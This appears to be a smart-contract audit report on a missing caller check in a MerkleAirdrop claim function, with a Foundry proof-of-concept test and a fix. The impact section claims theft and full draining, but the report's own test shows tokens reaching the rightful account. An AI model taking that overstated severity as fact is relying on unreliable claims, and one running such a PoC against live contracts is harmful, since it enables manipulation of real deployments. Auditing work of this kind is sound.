## Summary
The `MerkleAirdrop.sol::claim` function does not validate whether the caller of the transaction (`msg.sender`) matches the target `account` specified in the Merkle proof. This allows anyone to claim tokens on behalf of others, frontrun transactions, or combine this flaw with replay attacks to manipulate contract liquidity.
## Vulnerability Detail
The function signature allows passing an arbitrary account address:
`claim(address account, uint256 amount, bytes32[] calldata merkleProof)`
While the contract verifies that the `account` exists within the Merkle tree, it completely lacks a caller restriction check such as `require(msg.sender == account)`. Because Merkle proofs and pending transactions are completely public in the mempool, any unauthorized party or MEV bot can frontrun or steal the execution right of a legitimate claim.
## Impact
High. Eligible accounts have no exclusive right over their proofs. Attackers can hijack execution flow, force token delivery to manipulate internal protocol balance, or combine it with the missing status check to fully drain the contract asset pool.
## Tools Used
* Custom static analysis scripts
* Foundry / Forge simulation engine
## Proof of Concept
The test below independently proves that an unauthorized `attacker` account can successfully execute the `claim` function by using a public Merkle proof belonging to `COLLECTOR_ONE`. The contract processes the transaction without validating the identity of `msg.sender`.
Add this standalone test file to your `test/` directory and run it via `forge test --match-test testArbitraryCallerCanExecuteUnauthorisedClaim -vvv`:
```solidity
pragma solidity 0.8.24;
import { Test, console } from "forge-std/Test.sol";
import { MerkleAirdrop } from "../src/MerkleAirdrop.sol";
import { AirdropToken } from "./mocks/AirdropToken.sol";
contract ArbitraryCallerPoC is Test {
MerkleAirdrop airdrop;
AirdropToken token;
bytes32 constant MERKLE_ROOT = 0x3b2e22da63ae414086bec9c9da6b685f790c6fab200c7918f2879f08793d77bd;
address constant COLLECTOR_ONE = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
uint256 constant AMOUNT_PER_CLAIM = 25 * 1e6;
uint256 constant TOTAL_FUNDED = AMOUNT_PER_CLAIM * 4;
bytes32[] proof = [
bytes32(0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838),
bytes32(0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c)
];
function setUp() public {
token = new AirdropToken();
airdrop = new MerkleAirdrop(MERKLE_ROOT, token);
token.mint(address(this), TOTAL_FUNDED);
token.transfer(address(airdrop), TOTAL_FUNDED);
}
function testArbitraryCallerCanExecuteUnauthorisedClaim() public {
address attacker = makeAddr("attacker");
uint256 fee = airdrop.getFee();
vm.deal(attacker, fee);
assertEq(token.balanceOf(COLLECTOR_ONE), 0);
vm.prank(attacker);
airdrop.claim{ value: fee }(COLLECTOR_ONE, AMOUNT_PER_CLAIM, proof);
console.log("Transaction successfully executed by unauthorized Caller:", attacker);
console.log("Tokens delivered to target account due to flawed access control.");
assertEq(token.balanceOf(COLLECTOR_ONE), AMOUNT_PER_CLAIM);
}
}
```
## Recommendation
Add a strict access control check to ensure only the owner of the eligible leaf can trigger the execution:
```solidity
error MerkleAirdrop__InvalidCaller();
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.sender != account) revert MerkleAirdrop__InvalidCaller();
// ... verification logic ...
}
```